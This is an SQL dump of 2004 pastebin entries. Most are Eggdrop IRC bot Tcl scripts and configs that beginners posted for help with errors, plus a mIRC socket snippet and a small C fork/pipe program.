INSERT INTO `pastebin` VALUES (2265, 'rudenstam', '2004-09-13 18:40:46', 'this\r\n\r\n		for { set i [llength $newdata] } { $i > 0 } { set i [expr $i-1] } {\r\n\r\n			putlog [lindex $newdata $i]\r\n			set timestamp "[lindex [lindex $newdata $i] 0]"\r\n			putlog $timestamp\r\n\r\n#			putlog "[clock format $timestamp -format "\\%d/\\%m \\%H:\\%M"] - [lrange [lindex $newdata $i] 1 end]"\r\n		}\r\n\r\n\r\n\r\ngives this:\r\n\r\n\r\n1095115543 m0000 m0000 m0000\r\n1095115543\r\n1095115540 m0000\r\n1095115540\r\n1095114873 fastlink är ett bra nät\r\n1095114873\r\n1095114865 fast GNFOS är snyggast\r\n1095114865\r\n\r\nif I uncomment it.. I get \r\n\r\nexpected integer but got "" .. \r\n\r\nI know it is the $timestamp in the clock function that does it.. cause if I replace $timestamp with [clock scan now] it works fine', 0, 'tcl', 'clock error', 'none');
INSERT INTO `pastebin` VALUES (2266, 'me', '2004-09-16 09:13:23', '#this is my first script gime all the feed back ya can :D###\r\nset file "scripts/bad\r\nbind pub o +abusive checban\r\nproc checban {nick host handle chan text} {\r\nglobal file handm nicke\r\nset nicke [lindex $text 0]\r\nset handm [getchanhost $nicke]\r\nset found 0\r\nset fs [open $file r]\r\nwhile {![eof $fs]} {\r\n  gets $fs line\r\n  if {$line == $handm} { set found 1 }\r\n  if {$line != $handm} { set notfound 1 }\r\nclose $fs\r\nif {$found} {\r\n  putserv "mode $chan +b $handm"\r\n  putserv "kick $chan $nicke"\r\n}\r\n}\r\nif {$notfound} {\r\n set sf [open $file a]\r\nputs $sf "$handm"\r\nclose $sf \r\nputserv "PRIVMSG $nicke :please dont abuse people, first and last warning"\r\n}\r\n}', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2267, 'Robb', '2004-09-16 09:15:24', '#this is my first script gime all the feed back ya can :D###\r\nset file "scripts/bad\r\nbind pub o +abusive checban\r\nproc checban {nick host handle chan text} {\r\nglobal file handm nicke\r\nset nicke [lindex $text 0]\r\nset handm [getchanhost $nicke]\r\nset found 0\r\nset fs [open $file r]\r\nset fsread [split [read $fs] \\n]\r\nwhile {![eof $fsread]} {\r\n  gets $fs line\r\n  if {$line == $handm} { set found 1 }\r\n  if {$line != $handm} { set notfound 1 }\r\nclose $fs\r\nif {$found} {\r\n  putserv "mode $chan +b $handm"\r\n  putserv "kick $chan $nicke"\r\n}\r\n}\r\nif {$notfound} {\r\n set sf [open $file a]\r\nputs $sf "$handm"\r\nclose $sf \r\nputserv "PRIVMSG $nicke :please dont abuse people, first and last warning"\r\n}\r\n}', 2266, 'none', 'none', '#EggTCL');
INSERT INTO `pastebin` VALUES (2268, 'Anonymous', '2004-09-17 09:18:25', 'bash-2.05b$ ./eggdrop jilebot.conf\r\n\r\nEggdrop v1.6.15 (C) 1997 Robey Pointer (C) 2003 Eggheads\r\n[14:17] --- Loading eggdrop v1.6.15 (Fri Sep 17 2004)\r\n[14:17] Listening at telnet port 52231 (all)\r\n[14:17] Module loaded: dns\r\n[14:17] Module loaded: channels\r\n[14:17] Module loaded: server\r\n[14:17] Tcl error in file ''jilebot.conf'':\r\n[14:17] invalid command name "}"\r\n    while executing\r\n"}"\r\n    invoked from within\r\n"if {2 == 4} { set servers ( irc.efnet.net 65.57.234.3 64.124.0.204 195.149.88.251 65.57.234.3 64.124.0.204 195.149.88.251 193.163.220.3 141.213.238.25..."\r\n    (file "jilebot.conf" line 138)\r\n[14:17] * CONFIG FILE NOT LOADED (NOT FOUND, OR ERROR)\r\nbash-2.05b$\r\n', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2269, 'AZZZ', '2004-09-17 09:21:47', 'set username "jilebot"\r\n\r\nset admin "jile"\r\nset ircnetwork "2"\r\nif {2 == 1} { set network "IRCNet" }\r\nif {2 == 2} { set network "Undernet" }\r\nif {2 == 3} { set network "DALnet" }\r\nif {2 == 4} { set network "EFnet" }\r\nif {2 == 5} { set network "" }\r\nset my-ip "63.110.127.134"\r\nset my-hostname "no.h4ck.be"\r\nset quiet-save 1\r\n\r\n##### CONSOLE #####\r\nset console "mkcobxs"\r\n\r\n##### FILES AND DIRECTORIES #####\r\nset userfile "eggdrop.user"\r\nset help-path "help/"\r\nset text-path "text/"\r\nset temp-path ""\r\nset motd "text/motd"\r\nset telnet-banner "text/banner"\r\nset userfile-perm 0600\r\n\r\n##### BOTNET/DCC/TELNET #####\r\nset botnet-nick "jilebot"\r\nlisten "52231" all\r\nset remote-boots 2\r\nset share-unlinks 1\r\nset require-p 1\r\nset open-telnets 0\r\nset stealth-telnets 1\r\nset connect-timeout 15\r\nset dcc-flood-thr 3\r\nset telnet-flood 3:30\r\nset paranoid-telnet-flood 0\r\nset resolve-timeout 30\r\n\r\n##### MORE ADVANCED SETTINGS #####\r\nset ignore-time 15\r\nset hourly-updates 00\r\nset owner "jile"\r\nset notify-newusers ""\r\nset default-flags "hp"\r\nset whois-fields "url birthday"\r\nset die-on-sighup 0\r\nset die-on-sigterm 1\r\nunbind dcc n tcl *dcc:tcl\r\nset must-be-owner 2\r\nunbind dcc n simul *dcc:simul\r\nset max-dcc 50\r\nset enable-simul 1\r\nset allow-dk-cmds 1\r\nset dupwait-timeout 5\r\n\r\n\r\n\r\n##### MODULES #####\r\nset mod-path "modules/"\r\n\r\n#### DNS MODULE ####\r\nloadmodule dns\r\n\r\n#### CHANNELS MODULE ####\r\nloadmodule channels\r\n\r\nset chanfile "eggdrop.chan"\r\nset force-expire 0\r\nset share-greet 0\r\nset use-info 1\r\nset global-flood-chan 0:0\r\nset global-flood-deop 3:10\r\nset global-flood-kick 0:0\r\nset global-flood-join 4:30\r\nset global-flood-ctcp 3:60\r\nset global-flood-nick 5:60\r\nset global-aop-delay 5:30\r\nset global-idle-kick 0\r\nset global-chanmode ""\r\nset global-stopnethack-mode 0\r\nset global-revenge-mode 0\r\nset global-ban-time 180\r\nset global-exempt-time 60\r\nset global-invite-time 60\r\n\r\nset global-chanset {\r\n        -autoop         -autovoice\r\n        -bitch          +cycle\r\n        +dontkickops    +dynamicbans\r\n        +dynamicexempts +dynamicinvites\r\n        -enforcebans    +greet\r\n        -inactive       -nodesynch\r\n        -protectfriends -protectops\r\n        -revenge        -revengebot\r\n        -secret         -seen\r\n        +shared         +statuslog\r\n        +userbans       +userexempts\r\n        +userinvites    -protecthalfops\r\n        -autohalfop\r\n}\r\nchannel add #shellsnetwork {\r\n  chanmode "tn"\r\n  idle-kick 0\r\n  stopnethack-mode 0\r\n  revenge-mode 0\r\n  ban-time 120\r\n  flood-chan 0:0\r\n  flood-deop 3:10\r\n  flood-kick 0:0\r\n  flood-join 4:30\r\n  flood-ctcp 3:60\r\n  flood-nick 5:60\r\n}\r\nchannel set #shellsnetwork +enforcebans +dynamicbans +userbans +dynamicexempts\r\nchannel set #shellsnetwork +userexempts +dynamicinvites +userinvites +protectops\r\nchannel set #shellsnetwork +protectfriends +statuslog +revenge -protecthalfops\r\nchannel set #shellsnetwork +revengebot +dontkickops +autovoice -autoop -autohalfop\r\nchannel set #shellsnetwork -bitch -secret -shared +greet +cycle\r\n\r\n#### SERVER MODULE ####\r\n\r\nloadmodule server\r\nset net-type 2\r\nset nick "jilebot"\r\nset altnick "jilebot"\r\nset realname "jilebot"\r\nset init-server { putserv "MODE jilebot +i-ws" }\r\nset default-port 6667\r\nif {2 == 1} { set servers { irc-1.stealth.net irc-2.stealth.net irc-3.stealth.net ircnet.rt.ru ircnet.kaptech.fr\r\nircnet.ne\r\nrim.fr sunsite.dk irc.ru irc.gate.ru irc.flashnet.it irc6.ngnet.it ircnet.easynet.co.uk ircnet.demon.co.uk irc.ee.auth.gr } }\r\nif {2 == 2} { set servers { irc.undernet.org  66.198.160.2 209.67.60.33 208.247.17.10  66.197.0.145 204.193.136.54 213.48.150.1\r\n216.152.77.10 213.48.150.13  } }\r\nif {2 == 3} { set servers { 194.68.45.50 199.184.165.134  61.6.39.100 202.91.34.9 irc.dal.net  } }\r\nif {2 == 4} { set servers ( irc.efnet.net 65.57.234.3 64.124.0.204 195.149.88.251 65.57.234.3 64.124.0.204 195.149.88.251 193.163.220.3 141.213.238.252 208.247.17.2 irc.efnet.net  } }\r\nif {2 == 5} { set servers {  } }\r\nset keep-nick 1\r\nset strict-host 1\r\nset quiet-reject 1\r\nset lowercase-ctcp 0\r\nset answer-ctcp 3\r\nset flood-msg 5:60\r\nset flood-ctcp 3:60\r\nset never-give-up 1\r\nset strict-servernames 0\r\nset server-cycle-wait 60\r\nset server-timeout 60\r\nset servlimit 0\r\nset check-stoned 1\r\nset use-console-r 0\r\nset debug-output 0\r\nset serverror-quit 0\r\nset max-queue-msg 300\r\nset trigger-on-ignore 0\r\nset double-mode 0\r\nset double-server 0\r\nset double-help 0\r\nset optimize-kicks 0\r\nset stack-limit 4\r\n\r\n#### CTCP MODULE ####\r\nloadmodule ctcp\r\nset ctcp-mode 1\r\n\r\n#### IRC MODULE ####\r\nloadmodule irc\r\nset bounce-bans 1\r\nset bounce-modes 0\r\nif {2 == 1} { set maxbans 30 }\r\nif {2 == 2} { set maxbans 30 }\r\nif {2 == 3} { set maxbans 100 }\r\nif {2 == 4} { set maxbans 20 }\r\nif {2 == 5} { set maxbans 30 }\r\nset max-modes 30\r\nset kick-fun 0\r\nset ban-fun 0\r\nset learn-users 0\r\nset wait-split 300\r\nset wait-info 30\r\nset mode-buf-length 200\r\nset no-chanrec-info 0\r\n\r\n#### TRANSFER MODULE ####\r\n#loadmodule transfer\r\n#set max-dloads 3\r\n#set dcc-block 1024\r\n#set copy-to-tmp 1\r\n#set xfer-timeout 30\r\n\r\n#### SHARE MODULE ####\r\nloadmodule share\r\nset allow-resync 0\r\nset private-global 1\r\nset private-globals "mnot"\r\nset private-user 0\r\nset override-bots 0\r\n\r\n#### COMPRESS MODULE ####\r\nloadmodule compress\r\nset share-compressed 1\r\nset compress-level 9\r\n\r\n#### FILESYSTEM MODULE ####\r\n#loadmodule filesys\r\n#set files-path "/home/mydir/filesys"\r\n#set incoming-path "/home/mydir/filesys/incoming"\r\n#set upload-to-pwd 0\r\n#set filedb-path ""\r\n#set max-file-users 20\r\n#set max-filesize 1024\r\n\r\n#### NOTES MODULE ####\r\nloadmodule notes\r\nset notefile "eggdrop.notes"\r\nset max-notes 50\r\nset note-life 30\r\nset allow-fwd 0\r\nset notify-users 0\r\nset notify-onjoin 0\r\n\r\n#### CONSOLE MODULE ####\r\nloadmodule console\r\nset console-autosave 1\r\nset force-channel 0\r\nset info-party 0\r\n\r\n#### BLOWFISH MODULE ####\r\nloadmodule blowfish\r\n\r\nunbind msg - hello *msg:hello\r\nbind msg - hello *msg:hello\r\n##### SCRIPTS #####\r\nsource scripts/alltools.tcl\r\nsource scripts/action.fix.tcl\r\nsource scripts/compat.tcl\r\n#source scripts/userinfo.tcl\r\n#loadhelp userinfo.help\r\n#source gseen.conf\r\n\r\n#source stats.conf\r\n#source scripts/eggping.tcl\r\n#source scripts/shelluptime.tcl\r\n#source scripts/trivia.tcl\r\n#if { == 1} { source stats.conf }\r\n#if { == 1} { source scripts/eggping.tcl }\r\n#if { == 1} { source scripts/shelluptime.tcl }\r\n#if { == 1} { source scripts/trivia.tcl }\r\n', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2270, 'Anonymous', '2004-09-17 09:23:11', 'set username "jilebot"\r\n\r\nset admin "jile"\r\nset ircnetwork "2"\r\nif {2 == 1} { set network "IRCNet" }\r\nif {2 == 2} { set network "Undernet" }\r\nif {2 == 3} { set network "DALnet" }\r\nif {2 == 4} { set network "EFnet" }\r\nif {2 == 5} { set network "" }\r\nset my-ip "63.110.127.134"\r\nset my-hostname "no.h4ck.be"\r\nset quiet-save 1\r\n\r\n##### CONSOLE #####\r\nset console "mkcobxs"\r\n\r\n##### FILES AND DIRECTORIES #####\r\nset userfile "eggdrop.user"\r\nset help-path "help/"\r\nset text-path "text/"\r\nset temp-path ""\r\nset motd "text/motd"\r\nset telnet-banner "text/banner"\r\nset userfile-perm 0600\r\n\r\n##### BOTNET/DCC/TELNET #####\r\nset botnet-nick "jilebot"\r\nlisten "52231" all\r\nset remote-boots 2\r\nset share-unlinks 1\r\nset require-p 1\r\nset open-telnets 0\r\nset stealth-telnets 1\r\nset connect-timeout 15\r\nset dcc-flood-thr 3\r\nset telnet-flood 3:30\r\nset paranoid-telnet-flood 0\r\nset resolve-timeout 30\r\n\r\n##### MORE ADVANCED SETTINGS #####\r\nset ignore-time 15\r\nset hourly-updates 00\r\nset owner "jile"\r\nset notify-newusers ""\r\nset default-flags "hp"\r\nset whois-fields "url birthday"\r\nset die-on-sighup 0\r\nset die-on-sigterm 1\r\nunbind dcc n tcl *dcc:tcl\r\nset must-be-owner 2\r\nunbind dcc n simul *dcc:simul\r\nset max-dcc 50\r\nset enable-simul 1\r\nset allow-dk-cmds 1\r\nset dupwait-timeout 5\r\n\r\n\r\n\r\n##### MODULES #####\r\nset mod-path "modules/"\r\n\r\n#### DNS MODULE ####\r\nloadmodule dns\r\n\r\n#### CHANNELS MODULE ####\r\nloadmodule channels\r\n\r\nset chanfile "eggdrop.chan"\r\nset force-expire 0\r\nset share-greet 0\r\nset use-info 1\r\nset global-flood-chan 0:0\r\nset global-flood-deop 3:10\r\nset global-flood-kick 0:0\r\nset global-flood-join 4:30\r\nset global-flood-ctcp 3:60\r\nset global-flood-nick 5:60\r\nset global-aop-delay 5:30\r\nset global-idle-kick 0\r\nset global-chanmode ""\r\nset global-stopnethack-mode 0\r\nset global-revenge-mode 0\r\nset global-ban-time 180\r\nset global-exempt-time 60\r\nset global-invite-time 60\r\n\r\nset global-chanset {\r\n        -autoop         -autovoice\r\n        -bitch          +cycle\r\n        +dontkickops    +dynamicbans\r\n        +dynamicexempts +dynamicinvites\r\n        -enforcebans    +greet\r\n        -inactive       -nodesynch\r\n        -protectfriends -protectops\r\n        -revenge        -revengebot\r\n        -secret         -seen\r\n        +shared         +statuslog\r\n        +userbans       +userexempts\r\n        +userinvites    -protecthalfops\r\n        -autohalfop\r\n}\r\nchannel add #shellsnetwork {\r\n  chanmode "tn"\r\n  idle-kick 0\r\n  stopnethack-mode 0\r\n  revenge-mode 0\r\n  ban-time 120\r\n  flood-chan 0:0\r\n  flood-deop 3:10\r\n  flood-kick 0:0\r\n  flood-join 4:30\r\n  flood-ctcp 3:60\r\n  flood-nick 5:60\r\n}\r\nchannel set #shellsnetwork +enforcebans +dynamicbans +userbans +dynamicexempts\r\nchannel set #shellsnetwork +userexempts +dynamicinvites +userinvites +protectops\r\nchannel set #shellsnetwork +protectfriends +statuslog +revenge -protecthalfops\r\nchannel set #shellsnetwork +revengebot +dontkickops +autovoice -autoop -autohalfop\r\nchannel set #shellsnetwork -bitch -secret -shared +greet +cycle\r\n\r\n#### SERVER MODULE ####\r\n\r\nloadmodule server\r\nset net-type 2\r\nset nick "jilebot"\r\nset altnick "jilebot"\r\nset realname "jilebot"\r\nset init-server { putserv "MODE jilebot +i-ws" }\r\nset default-port 6667\r\nif {2 == 1} { set servers { irc-1.stealth.net irc-2.stealth.net irc-3.stealth.net ircnet.rt.ru ircnet.kaptech.fr\r\nircnet.ne\r\nrim.fr sunsite.dk irc.ru irc.gate.ru irc.flashnet.it irc6.ngnet.it ircnet.easynet.co.uk ircnet.demon.co.uk irc.ee.auth.gr } }\r\nif {2 == 2} { set servers { irc.undernet.org  66.198.160.2 209.67.60.33 208.247.17.10  66.197.0.145 204.193.136.54 213.48.150.1\r\n216.152.77.10 213.48.150.13  } }\r\nif {2 == 3} { set servers { 194.68.45.50 199.184.165.134  61.6.39.100 202.91.34.9 irc.dal.net  } }\r\nif {2 == 4} { set servers ( irc.efnet.net 65.57.234.3 64.124.0.204 195.149.88.251 65.57.234.3 64.124.0.204 195.149.88.251 193.163.220.3 141.213.238.252 208.247.17.2 irc.efnet.net  } }\r\nif {2 == 5} { set servers {  } }\r\nset keep-nick 1\r\nset strict-host 1\r\nset quiet-reject 1\r\nset lowercase-ctcp 0\r\nset answer-ctcp 3\r\nset flood-msg 5:60\r\nset flood-ctcp 3:60\r\nset never-give-up 1\r\nset strict-servernames 0\r\nset server-cycle-wait 60\r\nset server-timeout 60\r\nset servlimit 0\r\nset check-stoned 1\r\nset use-console-r 0\r\nset debug-output 0\r\nset serverror-quit 0\r\nset max-queue-msg 300\r\nset trigger-on-ignore 0\r\nset double-mode 0\r\nset double-server 0\r\nset double-help 0\r\nset optimize-kicks 0\r\nset stack-limit 4\r\n\r\n#### CTCP MODULE ####\r\nloadmodule ctcp\r\nset ctcp-mode 1\r\n\r\n#### IRC MODULE ####\r\nloadmodule irc\r\nset bounce-bans 1\r\nset bounce-modes 0\r\nif {2 == 1} { set maxbans 30 }\r\nif {2 == 2} { set maxbans 30 }\r\nif {2 == 3} { set maxbans 100 }\r\nif {2 == 4} { set maxbans 20 }\r\nif {2 == 5} { set maxbans 30 }\r\nset max-modes 30\r\nset kick-fun 0\r\nset ban-fun 0\r\nset learn-users 0\r\nset wait-split 300\r\nset wait-info 30\r\nset mode-buf-length 200\r\nset no-chanrec-info 0\r\n\r\n#### TRANSFER MODULE ####\r\n#loadmodule transfer\r\n#set max-dloads 3\r\n#set dcc-block 1024\r\n#set copy-to-tmp 1\r\n#set xfer-timeout 30\r\n\r\n#### SHARE MODULE ####\r\nloadmodule share\r\nset allow-resync 0\r\nset private-global 1\r\nset private-globals "mnot"\r\nset private-user 0\r\nset override-bots 0\r\n\r\n#### COMPRESS MODULE ####\r\nloadmodule compress\r\nset share-compressed 1\r\nset compress-level 9\r\n\r\n#### FILESYSTEM MODULE ####\r\n#loadmodule filesys\r\n#set files-path "/home/mydir/filesys"\r\n#set incoming-path "/home/mydir/filesys/incoming"\r\n#set upload-to-pwd 0\r\n#set filedb-path ""\r\n#set max-file-users 20\r\n#set max-filesize 1024\r\n\r\n#### NOTES MODULE ####\r\nloadmodule notes\r\nset notefile "eggdrop.notes"\r\nset max-notes 50\r\nset note-life 30\r\nset allow-fwd 0\r\nset notify-users 0\r\nset notify-onjoin 0\r\n\r\n#### CONSOLE MODULE ####\r\nloadmodule console\r\nset console-autosave 1\r\nset force-channel 0\r\nset info-party 0\r\n\r\n#### BLOWFISH MODULE ####\r\nloadmodule blowfish\r\n\r\nunbind msg - hello *msg:hello\r\nbind msg - hello *msg:hello\r\n##### SCRIPTS #####\r\nsource scripts/alltools.tcl\r\nsource scripts/action.fix.tcl\r\nsource scripts/compat.tcl\r\n#source scripts/userinfo.tcl\r\n#loadhelp userinfo.help\r\n#source gseen.conf\r\n\r\n#source stats.conf\r\n#source scripts/eggping.tcl\r\n#source scripts/shelluptime.tcl\r\n#source scripts/trivia.tcl\r\n#if { == 1} { source stats.conf }\r\n#if { == 1} { source scripts/eggping.tcl }\r\n#if { == 1} { source scripts/shelluptime.tcl }\r\n#if { == 1} { source scripts/trivia.tcl }\r\nbash-2.05b$\r\n', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2271, 'MPSnyper', '2004-09-17 10:44:56', '# I have yet to totaly understand args.. most of the time I just add and remove till \r\n# i get it right.. and id like to somewhat know which to use at what time..\r\n# for this script i know i need "nick" but dont know which others i do and dont need..\r\n# " wrong # args: should be "bsx(nick-jacker-join) nick uhost hand chan" " doesnt really help..\r\n#\r\n# thanks\r\n# MPSnyper\r\n\r\n\r\nbind part - * bsx(nick-jacker-part)\r\nproc bsx(nick-jacker-part) {nick uhost hand chan} {\r\n        if { $nick == "XDK_" } {\r\n                putserv "NICK XDK_"\r\n        }\r\n}', 0, 'tcl', 'what args', '#EggTCL');
INSERT INTO `pastebin` VALUES (2272, 'mOeBiUs`O', '2004-09-18 09:43:12', 'proc tv:connect_callback { http } {\r\n        set html [ egghttp:data $http ]\r\n        egghttp:cleanup $http\r\n        foreach line [ split $html "\\n" ] {\r\n                if { [ regexp -- {^<tr><td class\\=tv align\\=left>.*$} $line this_line ] } { break }\r\n        }\r\n        regsub -all -- {<br>} $this_line "\\n" this_line\r\n        foreach line [ split $this_line "\\n" ] {\r\n                if { [ regexp -- {h: <b>(\\d+\\:\\d+)</b>\\s*-\\s*(.*)\\s<b>(.*)</b>$} $line all ora tipo trasm ] } {\r\n                        regsub -- {\\.} $ora {:} ora\r\n                        set tipo [ lindex $tipo 0 ]\r\n                        set tipo [ string tolower $tipo ]\r\n                        regsub -nocase -- {<a href\\=javascript.*class\\=cellatv>} $trasm {} trasm\r\n                        regsub -nocase -- {</a>} $trasm {} trasm\r\n                        regsub -all -- {(\\d+)\\.(\\d+)} $trasm {\\1:\\2} trasm\r\n                        regsub -nocase -- {<a class\\=.*>} $trasm {} trasm\r\n                        regsub -all -- {a~R$} $trasm {à} trasm\r\n                        regsub -all -- {e~R$} $trasm {è} trasm\r\n                        regsub -all -- {i~R$} $trasm {i} trasm\r\n                        regsub -all -- {o~R$} $trasm {ò} trasm\r\n                        regsub -all -- {u~R$} $trasm {ù} trasm\r\n                        regsub -all -- {a~R } $trasm {à } trasm\r\n                        regsub -all -- {e~R } $trasm {è } trasm\r\n                        regsub -all -- {i~R } $trasm {ì } trasm\r\n                        regsub -all -- {o~R } $trasm {ò } trasm\r\n                        regsub -all -- {u~R } $trasm {ù } trasm\r\n                        regsub -all -- {~R} $trasm {''} trasm\r\n                        putlog "::DEBUG:: $ora $tipo $trasm $canale"\r\n                        switch -- $canale {\r\n                                10 { set canale "Rai1" }\r\n                                21 { set canale "Rai2" }\r\n                                23 { set canale "Rai3" }\r\n                                1 { set canale "Can5" }\r\n                                3 { set canale "Ita1" }\r\n                                7 { set canale "Rete4" }\r\n                                2 { set canale "La7" }\r\n                                36 { set canale "MTV" }\r\n                                106 { set canale "ReteA" }\r\n                        }\r\n                        puts $tv_file "$canale $ora $tipo $trasm"\r\n                }\r\n        }      \r\n}\r\n\r\nproc tv:fetch {} {\r\n        set tv_file [ open tv.db w ]\r\n        foreach canale { "10" "21" "23" "1" "3" "7" "2" "36" "106" } {\r\n                set url "http://tv.lospettacolo.it/palinsesti.asp?comando=canale&dato=$canale"\r\n                putlog "::DEBUG:: $canale"\r\n                set http [ egghttp:geturl $url tv:connect_callback ]\r\n        }\r\n}', 0, 'tcl', 'egghttp', '#EggTCL');
INSERT INTO `pastebin` VALUES (2273, 'meij', '2004-09-19 10:00:48', 'alias forum { var \\%s = $+(forum.,$md5($+($ticks,$ctime))) | sockopen \\%s 217.211.65.249 80 | sockmark \\%s 0 }\r\non *:SOCKOPEN:forum.*: {\r\n  sockwrite -nt $sockname GET http://217.211.65.249/test.php HTTP/1.0\r\n  sockwrite -nt $sockname Accept-Language: en-us\r\n  sockwrite -nt $sockname User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3\r\n  sockwrite -nt $sockname Host: 217.211.65.249\r\n  sockwrite -nt $sockname Connection: Close\r\n  sockwrite -t $sockname $str($crlf,2)\r\n}\r\non *:SOCKREAD:forum.*: { var \\%v | sockread -f \\%v | if (!\\%v) { sockmark $sockname 1 } | elseif ($sock($sockname).mark == 1) && (\\%v) { echo -a \\%v } }', 0, 'none', 'some mirc script for someone', 'none');
INSERT INTO `pastebin` VALUES (2274, 'Robb', '2004-09-19 14:59:27', 'set ircnick "$nick"\r\nutimer 5 [list send_nick $ircnick]\r\n\r\nproc send_nick {ircnick} {\r\nputlog "$ircnick"\r\nset output [exec $binary(TOTBW) "totbw"]\r\nputserv "NOTICE $ircnick :$output"\r\n}\r\n', 0, 'none', 'none', '#EggTCL');
INSERT INTO `pastebin` VALUES (2275, 'bilaz', '2004-09-19 15:29:05', 'if {([string equal -nocase "FateNews" $nick]) && (([string match -nocase *Bilas* $nick]) || ([string match -nocase *rdx* $nick]) || ([string match -nocase *artiomas* $nick]) || ([string match -nocase *cls* $nick]) || ([string match -nocase *babilon5* $nick]) || ([string match "*party*boy*" $nick]))} {\r\nputserv "PRIVMSG #stronghold :$nick"; return 0\r\n}\r\n}', 0, 'tcl', 'none', '#EggTCL');
INSERT INTO `pastebin` VALUES (2276, 'HackMan', '2004-09-19 18:04:25', 'proc pub_google {nick uhost handle chan search} {\r\n  global gl_ouput\r\n  set gl_output "PRIVMSG $chan"\r\n  if {[llength $search] == 0} {\r\n     puthelp "$gl_output : Whatcha searchin for fool!?"\r\n     return 0\r\n  }\r\n  set url [google_url $search $nick $chan]\r\n  google_getpage $url\r\n  return 0\r\n}\r\n', 0, 'none', 'ok', 'none');
INSERT INTO `pastebin` VALUES (2277, 'Fusi0n', '2004-09-19 21:31:24', 'proc FSB_load {{save ""}} {\r\n  global FSBData FSB\r\n  if {![file exists $FSB(file)]} { return 0 }\r\n  set file [open $FSB(file) r]\r\n  while {![eof $file]} {\r\n    set text [gets $file]\r\n    set FSBData([lindex $text 1]) "[lrange putlog $text 2 end]"\r\n  }\r\n  set FSBData(_MTIME) "[file mtime $FSB(file)]"\r\n  close $file\r\n  return 1\r\n}\r\n', 0, 'tcl', 'FSB v1.0b', '#EggTCL');
INSERT INTO `pastebin` VALUES (2278, 'Fusi0n', '2004-09-19 21:33:39', '# Fusi0n Services Bot (FSB) v1.0 beta\r\n\r\n# Configuration\r\n\r\n# Auto Adduser on join with these flags\r\nset FSBData ""\r\nset FSB(autoadd) 1\r\nset FSB(autoflag) v\r\n\r\n# Public Commands trigger (usualy 1 char)\r\nset FSB(trigger) "."\r\n\r\n# Private Meggage Commands Trigger (leave blank if no trigger ex: op #uber-nuber Fusi0n)\r\nset FSB(ptrigger) ""\r\n\r\n# Allow Quotes\r\nset FSB(quotes) 1\r\n\r\n# BINDS\r\n\r\nbind pubm - * FSB_trigger\r\n\r\n# CORE\r\nset FSB(file) "chan.local"\r\nproc FSB_trigger {nick mask hand chan arg} {\r\n  global FSB\r\n  if {[string first "$FSB(trigger)" "$arg"] == 0} { set arg "[string trimleft "$arg" "$FSB(trigger)"]"\r\n    putserv "privmsg $chan :Command: [lindex $arg 0] Arg: [lrange $arg 1 end]"\r\n    if {[FSB_cmd $nick $mask $hand $chan "[lindex $arg 0]" "[lrange $arg 1 end]"] == "Invalid"} { putserv "privmsg $chan ::Invalid Cmd:" }\r\n  }\r\n}\r\nproc FSB_cmd {nick mask hand chan cmd arg} {\r\n  global FSB\r\n  switch [string tolower $cmd] {\r\n    rehash {\r\n      rehash\r\n      putserv "privmsg $chan ::Rehash: Scripts Reloaded."\r\n    }\r\n    set {\r\n      set file [open $FSB(file) w]\r\n      puts $file "$chan [lindex $arg 0] [lrange $arg 1 end]"\r\n      close $file\r\n      putserv "privmsg $chan ::Set: Commands set."\r\n    }\r\n    default {\r\n        "privmsg $chan : $FSBData($cmd)" \r\n    }\r\n  }\r\n}\r\nputlog ":Fusi0n Services Bot v1.0b: Loaded"\r\n\r\n# Ripped Proc''s\r\n# load from BotToolbox (great script that he will never finish :P) by: Tetryon\r\nproc FSB_load {{save ""}} {\r\n  global FSBData FSB\r\n  if {![file exists $FSB(file)]} { return 0 }\r\n  set file [open $FSB(file) r]\r\n  while {![eof $file]} {\r\n    set text [gets $file]\r\n    set FSBData([lindex $text 1]) "[lrange putlog $text 2 end]"\r\n  }\r\n  set FSBData(_MTIME) "[file mtime $FSB(file)]"\r\n  close $file\r\n  return 1\r\n}\r\n', 0, 'none', 'FSB v1.0b', '#EggTCL');
INSERT INTO `pastebin` VALUES (2279, 'm', '2004-09-21 15:52:50', '#include <stdio.h>\r\n\r\nint main (int argc, char **argv)\r\n  {\r\n    int fd[2], c;\r\n    FILE *prg, *out;\r\n\r\n    if (argc == 1)\r\n      {\r\n        puts("test5 <output file>\\n");\r\n        exit(1);\r\n      }\r\n\r\n    if (pipe(fd) == -1)\r\n      {\r\n        perror ("pipe");\r\n        exit(1);\r\n      }\r\n\r\n    switch ( fork() )\r\n      {\r\n        case -1:\r\n          printf("Error: Unable to fork new process\\n");\r\n          exit(1);\r\n\r\n        case 0:\r\n          dup2(fd[1], fileno(stdout));\r\n          close(prg);\r\n          system("ls -l");\r\n          return 0;\r\n\r\n        default:\r\n          if ((prg = fdopen(fd[0], "r")) == NULL)\r\n            {\r\n              perror("fdopen");\r\n              exit(1);\r\n            }\r\n\r\n          if ((out = fopen(argv[1], "w+")) == NULL)\r\n            {\r\n              perror ("fopen");\r\n              exit(1);\r\n            }\r\n\r\n          while ((c = fgetc(prg)) != EOF)\r\n            {\r\n              printf("\\%c", c);\r\n              fputc(c, out);\r\n            }\r\n\r\n          close(out);\r\n\r\n      }\r\n    exit(0);\r\n  }\r\n', 0, 'c', 'some pipe/fork proggie that doesnt work', 'none');
INSERT INTO `pastebin` VALUES (2280, 'danor', '2004-09-22 08:23:45', '        set tmp "1"\r\n        foreach line [split $output "\\n"] {\r\n                if { $tmp == "1" } {\r\n                        set tmp "2"\r\n                        putserv "NOTICE $nick :$blowfish(PREFIX) [encrypt $blowfish(KEY) "\\[\\0035$arg1 TOPSCORE-RANK\\003\\] $line "]"\r\n                }\r\n                if { $tmp == "2" } {\r\n                        putserv "NOTICE $nick :$blowfish(PREFIX) [encrypt $blowfish(KEY) "          $line "]"\r\n                }\r\n        }', 0, 'none', 'ruden', 'none');
